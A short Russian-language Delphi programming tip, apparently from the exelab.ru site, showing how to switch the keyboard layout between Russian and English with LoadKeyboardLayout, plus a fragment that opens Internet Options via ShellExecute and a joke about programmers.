   ShellApi;
 
 {...}
 
 ShellExecute(0, 0, 'inetcpl.cpl',...);
 
 




Как из программы переключать языки



Объявление в газету в разделе трудоустройство. Для ухода за пожилым программистом требуется приятная женщина, говорящая на FORTRAN, BASIC и С++.


 procedure SetRU;
 var
   Layout: array [0.. KL_NAMELENGTH] of char;
 begin
   LoadKeyboardLayout(StrCopy(Layout, '00000419'), KLF_ACTIVATE);
 end;
 
 procedure SetEN;
 var
   Layout: array [0.. KL_NAMELENGTH] of char;
 begin
   LoadKeyboardLayout(StrCopy(Layout, '00000409'), KLF_ACTIVATE);
 end;
 

или


 var
   rus, lat: HKL;
 
 rus := LoadKeyboardLayout('00000419', 0);
 lat := LoadKeyboardLayout('00000409', 0);
 
 SetActiveKeyboardLayout(rus);
 




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS